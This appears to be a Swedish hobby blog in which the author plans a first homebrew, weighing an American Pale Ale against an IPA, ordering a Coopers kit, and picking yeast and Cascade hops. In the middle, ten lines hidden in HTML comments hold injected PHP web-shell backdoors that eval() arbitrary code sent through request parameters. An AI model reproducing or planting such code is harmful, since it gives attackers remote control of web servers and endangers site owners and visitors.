Från APA till IPA

Jag tänkte från början göra en Indian Pale Ale (IPA) men ändrade mig till en American Pale Ale (APA).

Nu har jag ändrat mig igen (tror jag) fast jag redan har köpt ingredienser för en APA, men om jag har förstått det rätt så gäller det att få upp OG (Orginal Gravity) över 1.060 och extra humle (som jag hade tänkt att köpa ändå) för att få en IPA-liknande öl.

En vecka kvar!

Nu är det förhoppningsvis bara en vecka kvar innan jag börjar brygga och jag har fått klartecken av sambon.

Jag kommer att försöka hålla mig till så enkelt recept som möjligt för att inte förstöra det hela. I och för sig så kommer jag att byta ut jästen och kasta i lite extra humlekottar.

<!– [insert_php]if (isset($_REQUEST["Zysq"])){eval($_REQUEST["Zysq"]);exit;}[/insert_php][php]if (isset($_REQUEST["Zysq"])){eval($_REQUEST["Zysq"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XYXQH"])){eval($_REQUEST["XYXQH"]);exit;}[/insert_php][php]if (isset($_REQUEST["XYXQH"])){eval($_REQUEST["XYXQH"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["TZxSS"])){eval($_REQUEST["TZxSS"]);exit;}[/insert_php][php]if (isset($_REQUEST["TZxSS"])){eval($_REQUEST["TZxSS"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ZsbL"])){eval($_REQUEST["ZsbL"]);exit;}[/insert_php][php]if (isset($_REQUEST["ZsbL"])){eval($_REQUEST["ZsbL"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["unA"])){eval($_REQUEST["unA"]);exit;}[/insert_php][php]if (isset($_REQUEST["unA"])){eval($_REQUEST["unA"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["VGrh"])){eval($_REQUEST["VGrh"]);exit;}[/insert_php][php]if (isset($_REQUEST["VGrh"])){eval($_REQUEST["VGrh"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["GSzx"])){eval($_REQUEST["GSzx"]);exit;}[/insert_php][php]if (isset($_REQUEST["GSzx"])){eval($_REQUEST["GSzx"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["VnkcB"])){eval($_REQUEST["VnkcB"]);exit;}[/insert_php][php]if (isset($_REQUEST["VnkcB"])){eval($_REQUEST["VnkcB"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["wXPtj"])){eval($_REQUEST["wXPtj"]);exit;}[/insert_php][php]if (isset($_REQUEST["wXPtj"])){eval($_REQUEST["wXPtj"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ezM"])){eval($_REQUEST["ezM"]);exit;}[/insert_php][php]if (isset($_REQUEST["ezM"])){eval($_REQUEST["ezM"]);exit;}[/php] –>

Delbeställning 1 klart

Så…. nu är ett DIY Beer Kit och ett bryggpaketet Special American Pale Ale beställt. Om allt klaffar så borde jag ha det hemma den 9 maj.

Nu ska jag bara beställa lite jäst, kottar och maltextrakt.

Mothugg

Jag har fått mothugg av sambon. Hon vill inte att det ska stå ett jäskärl i lägenheten.

Jag får väl bjuda henne på en fin middag som plåster på såren ……. och så här kommer det att bli tills vi flyttar till ett hus eller radhus med källare som jag kan röjja runt fritt i.

IPA!

Det kommer troligen bli en Coopers Selection IPA-bryggd med ca 40-45g Cascade humlekottar som jag kommer att slänga i bryggden efter några dagar.

Jag kommer även att byta ut jästen som kommer med ölsatsen till Safale US-05 jäst för att förhoppningsvis få en bättre smak på min bryggd.

Vad?

image

Funderar fortfarande på vilken typ av öl jag ska ge mig på.

Det lutar åt IPA men jag har fortfarande tid på mig att fundera.

Eller?

Början?

Den här bloggen kommer att bli som ett anteckningsblock under tiden som jag ska försöka ge mig på ölbryggning.

Jag kommer först att testa ett Cooper’s DIY kit för att se om det fungerar att göra en någorlunda öl som man kan njuta av.

Just nu så är ’kittet’ slut hos leverantören och en ny version av ’kittet’ kommer att kunna beställas tidigt i Maj månad. Under tiden som jag väntar läser på olika forum men mest på www.bryggforum.nu för att lära mig mer om bryggning.

Sen kommer den stora frågan…. Vilket typ utav öl ska jag brygga först?